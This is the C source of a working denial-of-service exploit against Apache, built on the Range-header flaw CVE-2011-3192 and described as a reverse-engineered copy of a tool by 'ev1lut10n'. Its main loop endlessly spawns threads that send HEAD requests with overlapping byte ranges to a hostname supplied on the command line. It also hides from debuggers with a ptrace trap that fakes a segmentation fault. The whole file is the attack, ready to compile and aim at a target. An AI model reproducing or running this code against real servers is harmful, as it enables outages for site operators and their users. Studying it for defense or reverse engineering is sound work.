Apache Range Header Denial Of Service

/*
 * This is a reverse engineered version of the exploit for CVE-2011-3192 made
 * by ev1lut10n (http://jayakonstruksi.com/backupintsec/rapache.tgz).
 * Copyright 2011 Ramon de C Valle <rcvalle@redhat.com>
 *
 * Compile with the following command:
 * gcc -Wall -pthread -o rcvalle-rapache rcvalle-rapache.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <pthread.h>

void ptrace_trap(void) __attribute__ ((constructor));

void
ptrace_trap(void) {
    if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
        write(fileno(stdout), "Segmentation fault\n", 19);
        exit(-1);
    }
}

void
w4rn41dun14mu(int attr, int fg, int bg)
{
    char command[13];

    sprintf(command, "%c[%d;%d;%dm", 0x1b, attr, fg+30, bg+40);
    printf("%s", command);
}

void
banner()
{
    w4rn41dun14mu(0, 1, 0);
    fwrite("Remote Apache Denial of Service Exploit by ev1lut10n\n", 53, 1,
           stdout);
}

void
gime_er_mas()
{
    printf("%c%s", 0x1b, "[2J");
    printf("%c%s", 0x1b, "[1;1H");
    puts("\nsorry dude there's an error...");
}

struct thread_info {
    pthread_t thread_id;
    int       thread_num;
    char     *argv_string;
};

static void *
thread_start(void *arg)
{
    struct thread_info *tinfo = (struct thread_info *) arg;
    char hostname[64];
    int j;

    strcpy(hostname, tinfo->argv_string);

    j = 0;
    while (j != 10) {
        struct addrinfo hints;
        struct addrinfo *result, *rp;
        int sfd, s;
        ssize_t nwritten;

        memset(&hints, 0, sizeof(struct addrinfo));
        hints.ai_family = AF_UNSPEC;
        hints.ai_socktype = SOCK_STREAM;
        hints.ai_flags = 0;
        hints.ai_protocol = 0;

        s = getaddrinfo(hostname, "http", &hints, &result);
        if (s != 0) {
            fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s));
            exit(EXIT_FAILURE);
        }

        for (rp = result; rp != NULL; rp = rp->ai_next) {
            sfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
            if (sfd == -1)
                continue;

            if (connect(sfd, rp->ai_addr, rp->ai_addrlen) == -1)
                close(sfd);
        }

        if (result != NULL)
            freeaddrinfo(result);

        nwritten = write(sfd, "HEAD / HTTP/1.1\n"
                              "Host:localhost\n"
                              "Range:bytes=0-,0-\n"
                              "Accept-Encoding: gzip", 71);
        if (nwritten == -1)
            close(sfd);

        usleep(300000);

        j++;
    }

    return 0;
}

int
main(int argc, char *argv[])
{
    int i;
    struct thread_info tinfo;

    banner();

    if (argc <= 1) {
        w4rn41dun14mu(0, 2, 0);
        fwrite("\n[-] Usage : ./rapache hostname\n", 32, 1, stdout);
        return 0;
    }

    w4rn41dun14mu(0, 3, 0);
    printf("[+] Attacking %s please wait  in minutes ...\n", argv[1]);

    while (1) {
        i = 0;
        while (i != 50) {
            tinfo.thread_num = i;
            tinfo.argv_string = argv[1];

            pthread_create(&tinfo.thread_id, NULL, &thread_start, &tinfo);

            usleep(500000);

            i++;
        }
    }
}